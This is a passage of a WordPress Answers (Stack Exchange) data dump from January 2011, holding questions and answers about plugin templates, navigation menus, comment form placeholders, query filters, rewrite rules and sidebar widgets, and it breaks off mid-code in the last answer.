  <row Id="7897" PostTypeId="2" ParentId="7887" CreationDate="2011-01-27T13:21:48.237" Score="1" ViewCount="" Body="&lt;p&gt;Hey you just opened the plugin's tag on WordPress Answers :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you paste the code of the generated html? From what you describe, you are using it correctly, so I just want to see if the template is being loaded to detect if the problem is on the template side, or a bug on the plugin's code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: Ok, I checked your template on a new WordPress install. It was getting the template, but there was some code error, here's what worked for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created the list-category-posts folder under wp-content/themes/twentyten and added a new php file called &quot;lcp_template_1.php&quot; with your code. Then created a new post with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[catlist template=lcp_template_1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I started editing your template, I fixed the Show Category code and it's currently working with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Info &amp;amp; license stuff...&#xA;*/&#xA;$lcp_output = '';    &#xA;//Show category?&#xA;    if ($atts['catlink'] == 'yes'){&#xA;        $cat_link = get_category_link($lcp_category_id);&#xA;        $cat_title = get_cat_name($lcp_category_id);&#xA;        $lcp_output = '&amp;lt;div class=&quot;topic-heading&quot;&amp;gt;&amp;lt;a href=&quot;' . $cat_link . '&quot; title=&quot;' . $cat_title . '&quot;&amp;gt;' . $cat_title . '&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    }&#xA;$lcp_output .= '&amp;lt;div class=&quot;post&quot;&amp;gt;';//For default ul&#xA;&#xA;//Posts loop:&#xA;&#xA;foreach($catposts as $single):&#xA;    $lcp_output .= '&amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;' . get_permalink($single-&amp;gt;ID) . '&quot;&amp;gt;' . $single-&amp;gt;post_title . '&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;';&#xA;    //Show comments?&#xA;    if($atts['comments'] == yes){&#xA;        $lcp_output .= ' (' . $single-&amp;gt;comment_count . ')';&#xA;    }&#xA;    //Style for date:&#xA;    if($atts['date']=='yes'){&#xA;        $lcp_output .= ' &amp;lt;div class=&quot;entry-meta&quot;&amp;gt; ' . get_the_time($atts['dateformat'], $single) . '&amp;lt;/div&amp;gt;';&#xA;    }&#xA;    //Show author?&#xA;    if($atts['author']=='yes'){&#xA;        $lcp_userdata = get_userdata($single-&amp;gt;post_author);&#xA;        $lcp_output .=' &amp;lt;div class=&quot;entry-meta&quot;&amp;gt;' .$lcp_userdata-&amp;gt;display_name . '&amp;lt;/div&amp;gt;';&#xA;    }&#xA;    //Show thumbnail?&#xA;    if($atts['thumbnail']=='yes'){&#xA;        $lcp_output .= '&amp;lt;div class=&quot;lcp_thumbnail&quot;&amp;gt;&amp;lt;a href=&quot;' . get_permalink($single-&amp;gt;ID) . '&quot;&amp;gt;' . get_the_post_thumbnail($single-&amp;gt;ID, array('40','40')) .'&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    }&#xA;&#xA;    //Show content?&#xA;    if($atts['content']=='yes' &amp;amp;&amp;amp; $single-&amp;gt;post_content){&#xA;        $lcpcontent = apply_filters('the_content', $single-&amp;gt;post_content); // added to parse shortcodes&#xA;        $lcpcontent = str_replace(']]&amp;gt;', ']]&amp;amp;gt', $lcpcontent); // added to parse shortcodes&#xA;        $lcp_output .= '&amp;lt;p&amp;gt;' . $lcpcontent . '&amp;lt;/p&amp;gt;'; // line tweaked to output filtered content&#xA;    }&#xA;    //Show excerpt?&#xA;    if($atts['excerpt']=='yes' &amp;amp;&amp;amp; !($atts['content']=='yes' &amp;amp;&amp;amp; $single-&amp;gt;post_content) ){&#xA;        $lcp_output .= lcp_excerpt($single);&#xA;    }&#xA;    endforeach;&#xA;$lcp_output .= '&amp;lt;/div&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please let me know if this works for you. I should update the default template since the show category code is old and buggy. Will be done for next version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; 0.15.1 includes a fix for the undeclared lcp_output variable. Also, regarding the thumbnail not displaying, please make sure you've modified the theme according to the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;get_the_post_thumbnail documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To enable post thumbnails, the current&#xA;  theme must include add_theme_support(&#xA;  'post-thumbnails' ); in its&#xA;  functions.php file. add_theme_support(&#xA;  'post-thumbnails' ); must be called&#xA;  before the init hook is fired. That&#xA;  means it needs to be placed directly&#xA;  into functions.php or within a&#xA;  function attached to the&#xA;  after_setup_theme hook.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOLVED:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we found out on the comments, the problem was with using STYLESHEETPATH instead of TEMPLATEPATH. This change will be included on the next release. Thanks Das for the feedback :D&lt;/p&gt;&#xA;" OwnerUserId="298" LastEditorUserId="298" LastEditorDisplayName="" LastEditDate="2011-02-02T14:16:04.740" LastActivityDate="2011-02-02T14:16:04.740" CommentCount="12" />
  <row Id="7898" PostTypeId="2" ParentId="7870" CreationDate="2011-01-27T13:25:40.637" Score="0" ViewCount="" Body="&lt;p&gt;You can pull the avatar of the admin of each blog using get_avatar.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-01-27T13:25:40.637" />
  <row Id="7899" PostTypeId="1" AcceptedAnswerId="7902" CreationDate="2011-01-27T13:36:14.097" Score="0" ViewCount="183" Body="&lt;p&gt;This seems like it should be easy to do, but I've not been able to find or work out a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the Starkers theme and Wordpress 3.0.4, and my site auto-generates its navigation as per normal.  I would like however the navigation to &lt;strong&gt;only show the top level pages&lt;/strong&gt;, i.e. not display links to any pages that are children of other pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I am currently using.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( array( 'container' =&amp;gt; 'nav', 'fallback_cb' =&amp;gt; 'starkers_menu',&#xA;'theme_location' =&amp;gt; 'primary' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to hide the child links programmatically, but I am prepared to use CSS if someone can instead advise how to assign specific classes to the child links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;/em&gt;**edit 2**&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tracked down the actual function I am using, called starkers_menu (below).  However adding depth to this, or even removing the other exclusions and just using depth doesn't work either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function starkers_menu() {&#xA;    echo '&amp;lt;nav&amp;gt;&amp;lt;ul&amp;gt;';&#xA;    wp_list_pages('depth=1&amp;amp;exclude=4,19&amp;amp;title_li=');&#xA;    echo '&amp;lt;/ul&amp;gt;&amp;lt;/nav&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2361" LastEditorUserId="2361" LastEditorDisplayName="" LastEditDate="2011-01-28T11:08:11.643" LastActivityDate="2011-01-28T11:14:57.940" Title="Only show top-level links in site navigation" Tags="&lt;navigation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="7901" PostTypeId="1" AcceptedAnswerId="18808" CreationDate="2011-01-27T13:57:05.553" Score="1" ViewCount="135" Body="&lt;p&gt;I'm using HTML5 on two sites running two different versions of WordPress. They both exhibit the same behaviour and I would like some help with fixing this please. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;url&quot;&amp;gt;Website&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;url&quot; name=&quot;url&quot; id=&quot;url&quot; value=&quot;&amp;lt;?php echo esc_attr($comment_author_url); ?&amp;gt;&quot; placeholder=&quot;Enter Website Address (optional)&quot; pattern=&quot;https?://.+&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In testing, we have identified a problem with comment_author_url that occurs when people do not input an URL. For some reason, WordPress is picking up the placeholder text and saving it into the database, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://EnterWebsiteAddress(optional&quot; rel=&quot;nofollow&quot;&gt;http://EnterWebsiteAddress(optional&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having real trouble trying to identify why this is happening. The placeholder attribute isn't inside the input value so should not be getting picked up. This same code is being used in other applications without problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to correct this in WordPress? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;I've done considerable research on this and thought I'd share my findings.&#xA;The issues come from the comment_form function within WordPress itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid the problems there are two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Only use placeholders on required fields. When the fields get focus and something is input the placeholder gets cleared.&lt;/li&gt;&#xA;&lt;li&gt;Use JavaScript to clear placeholders before the form is submitted. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope this helps the others that have run into the same issues. I'm not submitting a patch to WordPress because, at this time, WordPress only intends to support XHTML.&lt;/p&gt;&#xA;" OwnerUserId="2761" LastEditorUserId="2761" LastEditorDisplayName="" LastEditDate="2011-05-10T14:52:46.527" LastActivityDate="2011-05-31T13:26:34.360" Title="Comment form problem with comment_author_url and HTML5 input placeholders" Tags="&lt;comments&gt;&lt;forms&gt;&lt;html5&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="7902" PostTypeId="2" ParentId="7899" CreationDate="2011-01-27T14:16:59.083" Score="1" ViewCount="" Body="&lt;p&gt;Had you tried &lt;code&gt;depth&lt;/code&gt; argument (see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_nav_menu()&lt;/code&gt;&lt;/a&gt; documentation)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also do I understand right that you do not setup menu manually and let theme generate it with custom callback that you have in your code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same answer - try &lt;code&gt;depth&lt;/code&gt; argument, only this time in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_list_pages()&lt;/code&gt;&lt;/a&gt; call in &lt;code&gt;starkers_menu()&lt;/code&gt; function. It should work, unless that function is never processed and not available at the time of menu running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you use latest version of theme?.. If not consider updating.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-28T11:14:57.940" LastActivityDate="2011-01-28T11:14:57.940" CommentCount="2" />
  <row Id="7903" PostTypeId="2" ParentId="7860" CreationDate="2011-01-27T14:43:52.830" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt; with Firefox, or Chrome's or Safari's or IE8's developer tools to see what JS loading on your site and the error reports. You're loading multiple copies of some JS libraries; and try loading the minimum theme JS for a start to deduce what might be the conflict.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-01-27T14:43:52.830" CommentCount="2" />
  <row Id="7904" PostTypeId="2" ParentId="7859" CreationDate="2011-01-27T14:53:46.137" Score="0" ViewCount="" Body="&lt;p&gt;This might be an issue with php's safe_mode. It has made my life hell when dealing with uploads in automatically generated folders, and I suspect this may be the case here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is activated, please enter your cpanel, plesk panel, contact your sys admin, try to deactivate it and try again.&lt;/p&gt;&#xA;" OwnerUserId="1695" LastActivityDate="2011-01-27T14:53:46.137" />
  <row Id="7905" PostTypeId="2" ParentId="7304" CreationDate="2011-01-27T15:38:36.643" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Im sure some local wp ninja will correct this if it's too dirty .)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not a bad approach, but i can provide some pointers in improving the function, read on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having given many examples in the past on using &lt;code&gt;pre_get_posts&lt;/code&gt; it has come to be understanding that &lt;code&gt;pre_get_posts&lt;/code&gt; can actually run several times on a given page(at least i'm told and have read as much) and it can mean your callback function will sometimes be called multiple times(when it doesn't need to be doing so).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than using &lt;code&gt;pre_get_posts&lt;/code&gt; an alternative is to use &lt;code&gt;parse_query&lt;/code&gt; which runs right toward the end of the query object, and only ever runs once, whilst still providing the level of control you need over the query parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As i also pointed in the comments to maugly's answer, &lt;code&gt;pre_get_posts&lt;/code&gt; is going to run for pretty much any post queries throughout your site, so it's important that when adding filters/actions to that hook that you use some specificity to ensure the filter does not run when it is not wanted. I say nearly all queries because there is a parameter that can be set for a given post query to bypass filters(suppress_filters if i remember correctly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress sets various admin variables inside &lt;strong&gt;admin.php&lt;/strong&gt; for each page so you're able(and core code is able) to determine what kind of page is being viewed at any given time, some of them are...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pagenow&#xA;$parent_file&#xA;$plugin_page&#xA;$submenu_file&#xA;$typenow&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These variables provide enough information about any admin page to make running a filter or action on a select page or pages quite easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see how these variables are defined here in source.&lt;br&gt;&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/admin.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-admin/admin.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of the post listing we can expect &lt;code&gt;$pagenow&lt;/code&gt; to be &lt;strong&gt;edit.php&lt;/strong&gt; and &lt;code&gt;$typenow&lt;/code&gt; will oddly be empty(it only is when the post type is post).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could conditionally add that filter onto the query using some conditional logic to work out the page, like so...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_init', 'possibly_add_exclude_filter' );&#xA;function possibly_add_exclude_filter() {&#xA;    global $pagenow, $typenow;&#xA;    if( 'edit.php' == $pagenow &amp;amp;&amp;amp; '' == $typenow ) &#xA;        add_action( 'parse_query', 'set_viewable_posts_by_cat' );&#xA;}&#xA;function set_viewable_posts_by_cat() {&#xA;      set_query_var('category__in', array(1) );&#xA;      return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that's helpful.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-01-27T15:38:36.643" CommentCount="3" />
  <row Id="7906" PostTypeId="2" ParentId="7278" CreationDate="2011-01-27T15:53:16.517" Score="1" ViewCount="" Body="&lt;p&gt;To offer another method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// When it's the users list, or your editting another users profile&#xA;add_action( 'admin_print_scripts-users.php', 'your_enqueue_callback' );&#xA;&#xA;// When you're editting your own profile&#xA;add_action( 'admin_print_scripts-profile.php', 'your_enqueue_callback' );&#xA;&#xA;function your_enqueue_callback() {&#xA;    wp_enqueue_script( .. YOUR ENQUEUE ARGS .. );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-01-27T15:53:16.517" />
  <row Id="7907" PostTypeId="1" CreationDate="2011-01-27T15:53:17.873" Score="2" ViewCount="220" Body="&lt;p&gt;I need a free wordpress plugin that will allow the users to upvote or down vote every post. Something similar to stackoverflow.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not give me suggestions of how to create one. I am a java programmer and have never coded anything in PHP.&lt;/p&gt;&#xA;" OwnerUserId="1789" LastActivityDate="2011-05-10T09:23:27.430" Title="Suggest a plugin for up/down voting posts" Tags="&lt;plugins&gt;&lt;stackoverflow&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="7908" PostTypeId="1" CreationDate="2011-01-27T15:55:04.080" Score="0" ViewCount="92" Body="&lt;p&gt;Looking for a plugin that will allow moderation (and possibly curation) of tweets for a twitter widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A site I'm developing for will have a widget that displays @replies and tweets for a particular #hashtag. However, I'm concerned about the possibility of the offensive tweets, so I'm looking for a plugin that allows removal of offensive tweets from display. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively (or as well), a plugin that allowed curation of tweets - ie tweets are collected and the then help in a 'pending' state until they are specifically approved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of &lt;a href=&quot;http://www.socialmod.com/&quot; rel=&quot;nofollow&quot;&gt;Socialmod&lt;/a&gt; and &lt;a href=&quot;http://tidytweet.com/&quot; rel=&quot;nofollow&quot;&gt;TidyTweet&lt;/a&gt; - which are possibilities, but have a separate non-WP interface for moderation. Just wondering if I'd missed something that allowed this within WordPress.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-01-27T15:55:04.080" Title="Plugin to allow moderation / curation of twitter" Tags="&lt;plugins&gt;&lt;twitter&gt;&lt;moderation&gt;" />
  <row Id="7909" PostTypeId="2" ParentId="7907" CreationDate="2011-01-27T15:56:43.797" Score="5" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/gd-star-rating/&quot; rel=&quot;nofollow&quot;&gt;GD Star Rating&lt;/a&gt; is pretty comprehensive. &lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-01-27T15:56:43.797" CommentCount="1" />
  <row Id="7910" PostTypeId="2" ParentId="7907" CreationDate="2011-01-27T16:19:11.287" Score="4" ViewCount="" Body="&lt;p&gt;For all of my rating uses i use WP-PostRatings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-postratings/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-postratings/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-27T16:19:11.287" />
  <row Id="7911" PostTypeId="2" ParentId="7895" CreationDate="2011-01-27T17:15:56.723" Score="1" ViewCount="" Body="&lt;p&gt;Well this one is tricky.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_plugin_query_vars($vars) {&#xA;    // add mypluginname to the valid list of variables&#xA;    $new_vars = array('mypluginname');&#xA;    $vars = $new_vars + vars;&#xA;    return $vars;&#xA;}&#xA;add_filter('query_vars', 'my_plugin_query_vars');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will tell WordPress to accepts GET variables with the name mypluginname.&#xA;so now you can process requests like&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.example.com?mypluginname=param1&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com?mypluginname=param1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We add an action on parse_request which gives us first change to parse given request before WordPress does.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_plugin_parse_request($wp) {&#xA;    // only process requests with &quot;mypluginname=param1&quot;&#xA;    if (array_key_exists('mypluginname', $wp-&amp;gt;query_vars) &#xA;            &amp;amp;&amp;amp; $wp-&amp;gt;query_vars['mypluginname'] == 'param1') {&#xA;        my_plugin_custom_function($wp);&#xA;    }&#xA;}&#xA;add_action('parse_request', 'my_plugin_parse_request');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then we need to add a hook in WordPress rewrite system and then create a rule that tell WordPress to forward all requests to&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com/mypluginname/param1&quot; rel=&quot;nofollow&quot;&gt;http://example.com/mypluginname/param1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.example.com?mypluginname=param1&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com?mypluginname=param1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;with this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('generate_rewrite_rules', 'my_plugin_rewrite_rules');&#xA;&#xA;function my_plugin_rewrite_rules( $wp_rewrite ) {&#xA;  $new_rules = array('mypluginname/param1' =&amp;gt; 'index.php?mypluginname=param1');&#xA;  $wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this should get you going :)&#xA;so i hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-27T17:15:56.723" CommunityOwnedDate="2011-01-27T17:15:56.723" />
  <row Id="7912" PostTypeId="2" ParentId="7850" CreationDate="2011-01-27T17:22:00.663" Score="0" ViewCount="" Body="&lt;p&gt;Removing the null paramaters fixed the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attachments = get_children(array(&#xA;    'post_type'     =&amp;gt; 'attachment',&#xA;    'post_mime_type'    =&amp;gt; 'image',&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2745" LastActivityDate="2011-01-27T17:22:00.663" />
  <row Id="7913" PostTypeId="2" ParentId="7896" CreationDate="2011-01-27T17:38:40.283" Score="2" ViewCount="" Body="&lt;p&gt;I always use Post Types Order which provides a simple drag n drop ordering &#xA;Check it out &lt;a href=&quot;http://wordpress.org/extend/plugins/post-types-order/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/post-types-order/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-01-29T16:18:19.817" LastActivityDate="2011-01-29T16:18:19.817" />
  <row Id="7914" PostTypeId="1" AcceptedAnswerId="7916" CreationDate="2011-01-27T18:36:57.970" Score="1" ViewCount="107" Body="&lt;p&gt;Is it possible to insert links in Wordpress's wysiwyg editor that will convert to pretty permalinks when enabled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. the links would be this without pretty permalinks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/?p=13&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with permalinks on, it would become this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/mypagename/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking I'd have to use a shortcode to do that right? Something that would use the ID and wp_list_pages() for pages at least... just thinking about a way to get links in content to work when permalinks are on and off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;osu&lt;/p&gt;&#xA;" OwnerUserId="2685" LastActivityDate="2011-01-27T19:01:52.317" Title="Adding page links to content that automatically convert to pretty permalinks?" Tags="&lt;permalinks&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7915" PostTypeId="2" ParentId="2565" CreationDate="2011-01-27T18:53:28.380" Score="0" ViewCount="" Body="&lt;p&gt;That should do it:&#xA;    &#xA;    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;!-- START Title &amp;amp; static content --&amp;gt;&#xA;    &amp;lt;div id=&quot;sidebar-right-default-content&quot; class=&quot;span-6 last&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&amp;lt;?php _e('Your headline for the sidebar', TEXTDOMAIN); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;?php some_function(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;hr /&amp;gt;&#xA;    &amp;lt;!-- END Title &amp;amp; static content --&amp;gt;&#xA;&#xA;    &amp;lt;!-- Sidebar right (default) - Widget Area - Adds a predefined Textwidget until nothing is defined via Admin UI &amp;gt; Design &amp;gt; Widgets --&amp;gt;&#xA;    &amp;lt;?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() &amp;amp;&amp;amp; !is_active_sidebar( 'widgets-sidebar-right-default' ) ) :&#xA;&#xA;        the_widget(&#xA;            'WP_Widget_Text'&#xA;            ,array(&#xA;                'title'     =&amp;gt; 'Textwidget'&#xA;                ,'text'     =&amp;gt; '&#xA;                    &amp;lt;p&amp;gt;&#xA;                        Lorem ipsum dolor sit amet, consectetur adipiscing elit. &#xA;                        Aenean et quam a ante sodales feugiat. Aliquam et vulputate turpis. &#xA;                        Mauris quis sodales neque. Sed vestibulum faucibus eros nec tincidunt. &#xA;                        Integer tortor magna, suscipit vitae ultricies vel, vehicula sit amet sapien. &#xA;                    &amp;lt;/p&amp;gt;&#xA;                '&#xA;                ,'filter'   =&amp;gt; ''&#xA;            )&#xA;            ,array(&#xA;                'before_widget' =&amp;gt; '&amp;lt;div class=&quot;widget-container&quot;&amp;gt;'&#xA;                ,'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;'&#xA;                ,'before_title' =&amp;gt; '&amp;lt;h4 class=&quot;widget-title&quot;&amp;gt;'&#xA;                ,'after_title'  =&amp;gt; '&amp;lt;/h4&amp;gt;'&#xA;            )&#xA;        );&#xA;&#xA;    elseif ( is_active_sidebar( 'widgets-sidebar-right-default' ) ) : &#xA;        dynamic_sidebar( 'widgets-sidebar-right-default' );&#xA;    endif;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- END Sidebar right (default) --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-01-27T18:53:28.380" CommentCount="1" />
  <row Id="7916" PostTypeId="2" ParentId="7914" CreationDate="2011-01-27T19:01:52.317" Score="2" ViewCount="" Body="&lt;p&gt;Here is example of simple shortcode that will take ID as argument and echo permalink for it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function link_from_id($atts) {&#xA;&#xA;    if( isset($atts['id']) )&#xA;        return get_permalink( (int)$atts['id'] );&#xA;}&#xA;&#xA;add_shortcode('link', 'link_from_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[link id=1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS by the way non-pretty permalinks will keep working just fine if you enable pretty mode later and, if I remember right, will be redirected to canonical pretty version.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-27T19:01:52.317" CommentCount="1" />
  <row Id="7917" PostTypeId="2" ParentId="2399" CreationDate="2011-01-27T19:05:39.380" Score="0" ViewCount="" Body="&lt;p&gt;More easy &amp;amp; elegant (higher maintainability): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;// Your sidebar should have the wp_meta action hook&#xA;wp_meta();&#xA;&#xA;// in ex. your functions.php&#xA;function my_sidebar_content() {&#xA;    // &quot;About&quot; Page&#xA;    if ( is_page('about') ) {&#xA;        // If some widget is added via Admin &amp;gt; Design &amp;gt; Widgets&#xA;        if ( is_active_sidebar( 'widgets-sidebar-default' ) ) {&#xA;            // Display Widgets&#xA;            dynamic_sidebar( 'widgets-sidebar-default' );&#xA;        }&#xA;        // Default Content before Widgets were added&#xA;        else {&#xA;            _e('default static content', TEXTDOMAIN);&#xA;        }&#xA;    }&#xA;    // &quot;Links&quot; Page&#xA;    elseif ( is_page('links') ) {&#xA;        if ( is_active_sidebar( 'widgets-sidebar-links' ) ) {&#xA;            dynamic_sidebar( 'widgets-sidebar-links' );&#xA;        }&#xA;        else {&#xA;            _e('default static content', TEXTDOMAIN);&#xA;        }&#xA;    }&#xA;}&#xA;add_action( 'wp_meta', 'my_sidebar_content', 10 );&#xA;&#xA;# ===================================================&#xA;// OR:&#xA;wp_meta();&#xA;&#xA;// functions.php&#xA;function load_my_sidebars() 